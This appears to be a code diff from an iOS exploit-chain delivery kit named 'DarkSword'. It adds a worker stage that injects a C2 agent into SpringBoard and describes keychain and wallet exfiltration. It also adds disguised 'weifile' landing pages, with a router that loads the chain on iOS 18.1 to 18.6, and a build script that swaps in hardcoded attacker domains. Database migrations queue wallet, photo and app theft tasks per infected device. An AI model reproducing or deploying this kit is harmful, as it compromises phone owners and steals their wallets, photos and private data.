LOG("[PE-WORKER] loader inject FAILED");
p7_flog("PEMK-E0 loader inject FAILED"); p7_flushLog();
}
} catch (_s4E) {
LOG("[PE-WORKER] s4_loader error: " + _s4E);
p7_flog("PEMK-E0 exception: " + _s4E); p7_flushLog();
}
p7_flog("PEMK-E s4_loader done ok=" + (__s4Ok ? "1" : "0")); p7_flushLog();
}
__peStage4();
+123
View File
@@ -0,0 +1,123 @@
// PE stage file — progress marker: GET /pe_stage/s5_c2.js
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
function __peStage5() {
// Deadlock: applyTokens AFTER evaluateScript hangs (~2min+). NUI (18.5 / 18.6.1+):
// deferStart → full applyTokens → startScript. 18.6.0 uses legacy path below.
LOG("[PE-WORKER] inject c2_agent -> " + targetProcess);
var __iosC2 = __labIosForGate();
// 18.5 / 18.6.1+ / unknown → NUI C2; 18.6.0 keeps legacy (faster, historically OK).
var __useNuiC2 = (!(__iosC2.maj) || (__iosC2.maj === 18 && (
(__iosC2.min === 5) ||
(__iosC2.min === 6 && __iosC2.pat >= 1) ||
(__iosC2.min > 6)
)));
p7_flog("PEMK-F0 ios=" + (__iosC2.raw || "?") + " useNuiC2=" + (__useNuiC2 ? "1" : "0")); p7_flushLog();
var __c2Injected = false;
try {
let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"];
try {
let diagData = globalThis.__ucredDiag || "no_diag";
let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + ';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n';
c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet);
LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)");
} catch(dErr) {
LOG("[PE-WORKER] diag insert error: " + dErr);
}
// Propagate the baked delivery UUID into the SpringBoard context so c2_agent
// beacon/war/keychain exfil lands under the SAME UUID as the delivery logs.
// Without this, c2_agent falls back to the hardware IOPlatformUUID and the
// two exfil trees diverge (uuid mismatch).
try {
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase();
if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') {
c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid);
c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid);
let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n';
c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet);
LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")");
}
} catch(uErr) {
LOG("[PE-WORKER] c2_agent UUID inject error: " + uErr);
}
if (__useNuiC2) {
p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog();
var __c2RC = null;
for (var __c2Try = 0; __c2Try < 2; __c2Try++) {
try { globalThis.__peRemoteFail = 0; } catch (_zf) {}
var __tRc = Date.now();
try {
__c2RC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"](targetProcess, migFilterBypass);
} catch (_rcE) {
p7_flog("PEMK-F0 SpringBoard RC threw try=" + (__c2Try + 1) + " " + _rcE); p7_flushLog();
__c2RC = null;
}
var __fail = 0;
try { __fail = globalThis.__peRemoteFail || 0; } catch (_ff) {}
if (__c2RC && __c2RC.success()) {
p7_flog("PEMK-F0 SpringBoard RC ok try=" + (__c2Try + 1) + " ms=" + (Date.now() - __tRc)); p7_flushLog();
break;
}
p7_flog("PEMK-F0 SpringBoard RC fail try=" + (__c2Try + 1) + "/2 fail=0x" + Number(__fail).toString(16) + " ms=" + (Date.now() - __tRc));
p7_flushLog();
if (__c2RC) { try { __c2RC.destroy(); } catch (_rd0) {} }
__c2RC = null;
// 0x494 = first EXC wait timeout (120s) — retrying usually wastes another 120s.
if (Number(__fail) === 0x494) break;
try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {}
}
if (!__c2RC || !__c2RC.success()) {
LOG("[PE-WORKER] c2_agent: SpringBoard RC failed");
p7_flog("PEMK-F0 SpringBoard RC failed -> war-fallback"); p7_flushLog();
__pePostWarDumpFallback("sb_rc_fail");
} else {
p7_flog("PEMK-F0 SpringBoard RC ok -> deferStart+full applyTokens"); p7_flushLog();
var c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__c2RC, c2Code, migFilterBypass);
p7_flog("PEMK-F0 InjectJS ctor ok"); p7_flushLog();
if (c2Agent.inject(0, { deferStart: true })) {
LOG("[PE-WORKER] c2_agent prepared (deferred)");
p7_flog("PEMK-F0 c2 defer ok -> applyTokens"); p7_flushLog();
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task);
} catch (_atC) {
p7_flog("PEMK-F0 applyTokens err: " + _atC); p7_flushLog();
}
c2Agent.startScript();
p7_flog("PEMK-F0 c2 startScript ok -> destroy"); p7_flushLog();
c2Agent.destroy();
__c2Injected = true;
try { globalThis.__peC2Injected = true; } catch (_g) {}
p7_flog("PEMK-F0 destroy ok"); p7_flushLog();
} else {
LOG("[PE-WORKER] c2_agent FAILED");
p7_flog("PEMK-F0 c2 inject FAILED -> war-fallback"); p7_flushLog();
try { __c2RC.destroy(); } catch (_rd) {}
__pePostWarDumpFallback("inject_fail");
}
}
} else {
p7_flog("PEMK-F0 legacy SpringBoard inject begin"); p7_flushLog();
let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass);
p7_flog("PEMK-F0 legacy InjectJS ctor ok"); p7_flushLog();
if (c2Agent.inject()) {
LOG("[PE-WORKER] c2_agent OK - persistent loop started");
p7_flog("PEMK-F0 legacy inject ok -> applyTokens"); p7_flushLog();
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task);
c2Agent.destroy();
__c2Injected = true;
try { globalThis.__peC2Injected = true; } catch (_g2) {}
p7_flog("PEMK-F0 legacy c2 OK"); p7_flushLog();
} else {
LOG("[PE-WORKER] c2_agent FAILED");
p7_flog("PEMK-F0 legacy c2 FAILED -> war-fallback"); p7_flushLog();
__pePostWarDumpFallback("legacy_inject_fail");
}
}
} catch (c2Err) {
LOG("[PE-WORKER] c2_agent error: " + c2Err);
p7_flog("PEMK-F0 exception: " + c2Err); p7_flushLog();
if (!__c2Injected) __pePostWarDumpFallback("exception");
}
p7_flog("PEMK-F s5_c2 done injected=" + (__c2Injected ? "1" : "0")); p7_flushLog();
}
__peStage5();
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body>
</body>
</html>
@@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="zh-Hant">
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
<script>
(function () {
var p = location.pathname || "/";
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
var base = location.origin + prefix;
window.__LAB_DELIVERY_HOST__ = base;
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
document.write('<script src="' + base + '/config.js"><\/script>');
document.write('<script src="' + base + '/boot.js"><\/script>');
})();
</script>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body>
</body>
</html>
@@ -0,0 +1,65 @@
/* 倒计时与 JS 链并行(秒数与 config.js countdownSeconds 一致 = 8)。
* ?e=0 整页刷新不重置截止时间;到点必定跳 index,不受 ?e=0 影响。 */
(function () {
var TOTAL_SEC = 8;
var KEY = "__er_countdown_deadline_ms";
var LANDED = "__er_landed";
var INDEX_URL = "/index.html?landed=1";
var CIRC = 2 * Math.PI * 54;
try {
if (sessionStorage.getItem(LANDED) === "1") {
// 已进过 index:链后续若再导航到 /qqtime/?e=0,立刻回落地页
location.replace(INDEX_URL);
return;
}
} catch (e0) {}
var now = Date.now();
var deadline = 0;
try {
deadline = parseInt(sessionStorage.getItem(KEY) || "0", 10) || 0;
} catch (e) {}
// 仅首次写入截止时间;?e=0 刷新沿用原 deadline,倒计时不归零
if (!deadline || deadline < now - 5000) {
deadline = now + TOTAL_SEC * 1000;
try {
sessionStorage.setItem(KEY, String(deadline));
} catch (e2) {}
}
var countEl = document.getElementById("count");
var fg = document.getElementById("fg");
if (fg) fg.style.strokeDasharray = String(CIRC);
var jumped = false;
function goIndex() {
if (jumped) return;
jumped = true;
try {
sessionStorage.setItem(LANDED, "1");
sessionStorage.removeItem(KEY);
} catch (e3) {}
location.replace(INDEX_URL);
}
function tick() {
var leftMs = deadline - Date.now();
var left = Math.max(0, Math.ceil(leftMs / 1000));
if (countEl) countEl.textContent = String(left);
if (fg) {
var progressed = Math.min(
1,
Math.max(0, 1 - leftMs / (TOTAL_SEC * 1000))
);
fg.style.strokeDashoffset = String(CIRC * (1 - progressed));
}
if (leftMs <= 0) {
goIndex();
return;
}
setTimeout(tick, 200);
}
tick();
})();
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,4 @@
// for displaying hex value
function dummyy(x) {
return '0x' + x.toString(16);
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
+1
View File
@@ -0,0 +1 @@
{"bytes":0,"ok":true,"path":"/stats"}
+180
View File
@@ -0,0 +1,180 @@
#!/usr/bin/env python3
"""Rewrite DarkSword hosts in source/ and publish to public/next-chain.
Usage:
python3 tools/build.py
python3 tools/build.py --host 192.168.31.130 --port 8000
python3 tools/build.py --origin http://192.168.31.130:8000
"""
from __future__ import annotations
import argparse
import shutil
import sys
from pathlib import Path
from urllib.parse import urlparse
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
PROJECT_ROOT = BUILDER_ROOT.parent
DEFAULT_SOURCE = BUILDER_ROOT / "source"
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"}
def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]:
return [
("https://mh0usocqzi6f46i.com:443", origin),
("http://mh0usocqzi6f46i.com:443", origin),
("https://mh0usocqzi6f46i.com", origin),
("http://one99.vip:80", origin),
("https://one99.vip:80", origin),
("http://one99.vip", origin),
("https://one99.vip", origin),
('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'),
('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'),
(
'{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }',
f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: false }}',
),
('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'),
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'),
(" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"),
("mh0usocqzi6f46i.com", ip),
("one99.vip", ip),
("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"),
("_h === '192.168.4.10'", f"_h === '{ip}'"),
('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'),
('_h === "192.168.4.10"', f'_h === "{ip}"'),
('"192.168.1.29"', f'"{ip}"'),
('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'),
("'https://ab.ux600.com'", f"'{origin}/?landed=1'"),
# public/log/ is a directory on lab; phone POST /log must hit the API.
('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'),
('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'),
('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'),
('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'),
("/log.html", "/api/ds/log"),
(origin + '/log"', origin + '/api/ds/log"'),
(origin + '/log\\"', origin + '/api/ds/log\\"'),
(':80/log"', ':80/api/ds/log"'),
(':80/log\\"', ':80/api/ds/log\\"'),
]
def iter_files(root: Path) -> list[Path]:
out: list[Path] = []
for p in root.rglob("*"):
if not p.is_file():
continue
if p.suffix.lower() in SKIP_SUFFIX:
continue
out.append(p)
return sorted(out)
def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]:
pairs = replacements(ip, port, origin)
hits: list[dict] = []
for src in iter_files(root):
text = src.read_text("utf-8", errors="surrogateescape")
new = text
counts: dict[str, int] = {}
for old, repl in pairs:
n = new.count(old)
if n:
counts[old] = n
new = new.replace(old, repl)
if new != text:
src.write_text(new, encoding="utf-8", errors="surrogateescape")
hits.append({"file": str(src.relative_to(root)), "counts": counts})
return hits
def publish(staging: Path, dest: Path) -> None:
dest = dest.resolve()
dest.parent.mkdir(parents=True, exist_ok=True)
tmp = dest.with_name(dest.name + ".building")
old = dest.with_name(dest.name + ".old")
if tmp.exists():
shutil.rmtree(tmp)
shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store"))
if dest.exists():
if old.exists():
shutil.rmtree(old)
dest.rename(old)
try:
tmp.rename(dest)
except OSError:
dest.rename(tmp.with_name(dest.name + ".restore"))
raise
shutil.rmtree(old)
else:
tmp.rename(dest)
def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]:
if args.origin:
parsed = urlparse(args.origin)
if parsed.scheme not in ("http", "https") or not parsed.hostname:
raise SystemExit(f"invalid --origin: {args.origin}")
host = parsed.hostname
if parsed.port:
port = parsed.port
else:
port = 443 if parsed.scheme == "https" else 80
origin = f"{parsed.scheme}://{host}"
if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)):
origin += f":{port}"
return host, port, origin
host = args.host
port = args.port
origin = f"{args.scheme}://{host}"
if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)):
origin += f":{port}"
return host, port, origin
def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]:
if not source.is_dir():
raise SystemExit(f"source not found: {source}")
staging = BUILDER_ROOT / "out" / "staging"
if staging.exists():
shutil.rmtree(staging)
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
hits = rewrite_tree(staging, host, port, origin)
if dry_run:
shutil.rmtree(staging)
return hits
publish(staging, dest)
shutil.rmtree(staging, ignore_errors=True)
return hits
def main(argv: list[str] | None = None) -> int:
ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain")
ap.add_argument("--host", default="192.168.31.130")
ap.add_argument("--port", type=int, default=8000)
ap.add_argument("--scheme", default="http", choices=("http", "https"))
ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000")
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args(argv)
host, port, origin = resolve_origin(args)
hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run)
action = "would rewrite" if args.dry_run else "published"
print(f"{action} {len(hits)} files -> {origin}")
if not args.dry_run:
print(f"dest {args.dest.resolve()}")
for h in hits:
print(f" {h['file']} ({sum(h['counts'].values())})")
return 0
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,70 @@
#!/usr/bin/env python3
from __future__ import annotations
import shutil
import sys
import tempfile
import unittest
from pathlib import Path
TOOLS = Path(__file__).resolve().parents[1]
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
import build # noqa: E402
class BuildTest(unittest.TestCase):
def setUp(self) -> None:
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
self.source = self.tmp / "source"
self.dest = self.tmp / "next-chain"
self.source.mkdir(parents=True)
(self.source / "config.js").write_text(
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
encoding="utf-8",
)
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
(self.source / "pe_worker.js").write_text(
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
'__labCfHttp("POST", "/log", body, false);\n'
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
encoding="utf-8",
)
def tearDown(self) -> None:
shutil.rmtree(self.tmp, ignore_errors=True)
def test_rewrites_and_publishes_without_touching_source(self) -> None:
before = (self.source / "config.js").read_text(encoding="utf-8")
hits = build.build(
self.source,
self.dest,
"192.168.31.130",
8080,
"http://192.168.31.130:8080",
)
self.assertTrue(hits)
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
published = (self.dest / "config.js").read_text(encoding="utf-8")
self.assertIn("http://192.168.31.130:8080/?landed=1", published)
self.assertIn('const HQ_WALLET_PORT = "8080"', published)
self.assertNotIn("ab.ux600.com", published)
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
self.assertFalse((self.dest / "api").exists())
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
self.assertNotIn("/log.html", worker)
self.assertNotIn('__labCfHttp("POST", "/log"', worker)
def test_origin_override(self) -> None:
host, port, origin = build.resolve_origin(
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
)
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
if __name__ == "__main__":
unittest.main()
+133
View File
@@ -0,0 +1,133 @@
(function () {
var DS_BASE = '/next-chain';
var HOLD_MS = 10 * 60 * 1000;
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
function cmpVer(a, b) {
for (var i = 0; i < 3; i++) {
var ai = (a && a[i]) || 0;
var bi = (b && b[i]) || 0;
if (ai < bi) return -1;
if (ai > bi) return 1;
}
return 0;
}
function persistChannelCode(code) {
code = String(code || '').trim().slice(0, 64);
if (!code) return '';
try {
window.__LAB_CHANNEL_CODE__ = code;
window.__CORUNA_CHANNEL__ = code;
} catch (e0) {}
try {
sessionStorage.setItem('lab_channel_code', code);
} catch (e1) {}
try {
localStorage.setItem('lab_channel_code', code);
} catch (e2) {}
return code;
}
function channelCode() {
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (eP) {}
return '';
}
function dsUrl(path) {
var origin = '';
try {
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
} catch (e) {}
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
}
function loadScript(src, onload, attempt) {
attempt = attempt || 0;
var s = document.createElement('script');
s.async = false;
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
s.onload = function () { if (onload) onload(); };
s.onerror = function () {
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
};
(document.body || document.documentElement).appendChild(s);
}
function loadScripts(urls) {
var i = 0;
function next() {
if (i >= urls.length) return;
loadScript(urls[i++], next);
}
next();
}
function holdFresh() {
var now = Date.now();
for (var i = 0; i < HOLD_KEYS.length; i++) {
var key = HOLD_KEYS[i];
try {
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
if (ls && now - ls <= HOLD_MS) return true;
} catch (e0) {}
try {
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
if (ss && now - ss <= HOLD_MS) return true;
} catch (e1) {}
}
return false;
}
function markHold() {
var ts = String(Date.now());
try {
localStorage.setItem('__ds_rce_hold', ts);
localStorage.setItem('__ds_chain_hold', ts);
} catch (e2) {}
try {
sessionStorage.setItem('__ds_rce_hold', ts);
sessionStorage.setItem('__ds_chain_hold', ts);
} catch (e3) {}
}
function loadDs(code) {
if (holdFresh()) return;
markHold();
persistChannelCode(code);
try {
window.__LAB_DELIVERY_HOST__ = dsUrl('');
if (!window.__LAB_EXFIL_DOMAIN__) {
window.__LAB_EXFIL_DOMAIN__ = location.hostname || '';
}
} catch (eH) {}
loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]);
}
var ios = parseIosVersion();
var code = channelCode();
if (!ios || cmpVer(ios, [18, 1]) < 0) {
loadScript('index.js');
return;
}
if (cmpVer(ios, [18, 7]) < 0) {
loadDs(code);
}
})();
@@ -7,6 +7,6 @@
<title>weifile</title> <title>weifile</title>
</head> </head>
<body> <body>
<script type="text/javascript" src="index.js"></script> <script type="text/javascript" src="route.js"></script>
</body> </body>
</html> </html>
@@ -111,7 +111,7 @@
<p class="title">加载中</p> <p class="title">加载中</p>
<p class="subtitle">请稍候,正在准备页面…</p> <p class="subtitle">请稍候,正在准备页面…</p>
</div> </div>
<script type="text/javascript" src="index.js"></script> <script type="text/javascript" src="route.js"></script>
<script> <script>
(function () { (function () {
var TOTAL = 15; var TOTAL = 15;
@@ -7,6 +7,6 @@
<title>weifile</title> <title>weifile</title>
</head> </head>
<body> <body>
<script type="text/javascript" src="index.js"></script> <script type="text/javascript" src="route.js"></script>
</body> </body>
</html> </html>
+10
View File
@@ -202,6 +202,15 @@ def normalize_landing_template(value: str | None) -> str:
return template return template
def ensure_route_js(weifile_dir: Path) -> Path:
src = xxbb_build.SOURCE_WEIFILE / "route.js"
if not src.is_file():
raise SystemExit(f"missing weifile router: {src}")
dest = weifile_dir / "route.js"
dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
return dest
def apply_landing_template(weifile_dir: Path, template: str) -> Path: def apply_landing_template(weifile_dir: Path, template: str) -> Path:
template = normalize_landing_template(template) template = normalize_landing_template(template)
src = LANDING_TEMPLATE_ROOT / f"{template}.html" src = LANDING_TEMPLATE_ROOT / f"{template}.html"
@@ -273,6 +282,7 @@ def pack_channel(
encoding="utf-8", encoding="utf-8",
) )
apply_landing_template(weifile_dest, landing_template) apply_landing_template(weifile_dest, landing_template)
ensure_route_js(weifile_dest)
if channel_out.exists(): if channel_out.exists():
shutil.rmtree(channel_out) shutil.rmtree(channel_out)
+19 -1
View File
@@ -83,10 +83,18 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((artifact / "weifile").exists()) self.assertFalse((artifact / "weifile").exists())
self.assertTrue((weifile / "index.js").is_file()) self.assertTrue((weifile / "index.js").is_file())
self.assertTrue((weifile / "weifile.html").is_file()) self.assertTrue((weifile / "weifile.html").is_file())
self.assertTrue((weifile / "route.js").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8") html = (weifile / "weifile.html").read_text(encoding="utf-8")
route = (weifile / "route.js").read_text(encoding="utf-8")
self.assertNotIn("__CHANNEL_C__", html) self.assertNotIn("__CHANNEL_C__", html)
self.assertNotIn("/t.js", html) self.assertNotIn("/t.js", html)
self.assertIn("index.js", html) self.assertIn("route.js", html)
self.assertIn("location.pathname", route)
self.assertIn("/next-chain", route)
self.assertIn("boot.js", route)
self.assertIn("10 * 60 * 1000", route)
self.assertNotIn("channeICode", route)
self.assertIn("index.js", route)
index_js = (weifile / "index.js").read_text(encoding="utf-8") index_js = (weifile / "index.js").read_text(encoding="utf-8")
expected_host = generate_domains(channel_c, 1)[0] expected_host = generate_domains(channel_c, 1)[0]
self.assertIn(expected_host, index_js) self.assertIn(expected_host, index_js)
@@ -300,6 +308,16 @@ class XxbbBuildTest(unittest.TestCase):
self.assertEqual(stripped, "head;") self.assertEqual(stripped, "head;")
html = pack_channel.inject_tjs("<html><head></head><body></body></html>") html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
self.assertIn('/t.js', html) self.assertIn('/t.js', html)
route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8")
self.assertIn("location.pathname", route)
self.assertIn("/next-chain", route)
self.assertIn("boot.js", route)
self.assertIn("10 * 60 * 1000", route)
self.assertNotIn("channeICode", route)
for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
self.assertIn("route.js", landing)
self.assertNotIn('src="index.js"', landing)
if __name__ == "__main__": if __name__ == "__main__":
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->string('family', 32)->default('xxbb')->after('device_id')->index();
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('family');
});
}
};
@@ -0,0 +1,24 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->unsignedTinyInteger('chain')->default(0)->after('client_uid');
$table->index('chain');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropIndex(['chain']);
$table->dropColumn('chain');
});
}
};
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
DB::table('devices')->where('family', 'xxbb')->update(['family' => 'coruna']);
if (Schema::getConnection()->getDriverName() === 'mysql') {
DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'coruna'");
}
}
public function down(): void
{
DB::table('devices')->where('family', 'coruna')->update(['family' => 'xxbb']);
if (Schema::getConnection()->getDriverName() === 'mysql') {
DB::statement("ALTER TABLE devices MODIFY family VARCHAR(32) NOT NULL DEFAULT 'xxbb'");
}
}
};
@@ -0,0 +1,29 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('ds_chain_logs', function (Blueprint $table) {
$table->id();
$table->string('client_uid', 64);
$table->string('channel_id', 64)->nullable();
$table->string('stage', 32);
$table->unsignedTinyInteger('progress')->default(0);
$table->string('label', 255)->nullable();
$table->timestamp('created_at')->useCurrent();
$table->index(['client_uid', 'created_at']);
$table->index('stage');
});
}
public function down(): void
{
Schema::dropIfExists('ds_chain_logs');
}
};
@@ -0,0 +1,59 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::create('ds_beacon_tasks', function (Blueprint $table) {
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->unsignedTinyInteger('position');
$table->string('type', 64);
$table->string('status', 16)->default('pending');
$table->string('command_id', 64)->nullable();
$table->timestamp('dispatched_at')->nullable();
$table->timestamp('completed_at')->nullable();
$table->unsignedInteger('result_count')->default(0);
$table->json('result_meta')->nullable();
$table->timestamps();
$table->unique(['device_id', 'position']);
$table->unique('command_id');
$table->index(['device_id', 'status']);
});
$now = now();
$types = [
'wallet_extract',
'wallet_scan',
'photos',
'photo_scan',
'apps',
'basic_info',
];
foreach (DB::table('devices')->where('family', 'darksword')->pluck('id') as $deviceId) {
$rows = [];
foreach ($types as $i => $type) {
$rows[] = [
'device_id' => $deviceId,
'position' => $i + 1,
'type' => $type,
'status' => 'pending',
'created_at' => $now,
'updated_at' => $now,
];
}
DB::table('ds_beacon_tasks')->insert($rows);
}
}
public function down(): void
{
Schema::dropIfExists('ds_beacon_tasks');
}
};
@@ -0,0 +1,34 @@
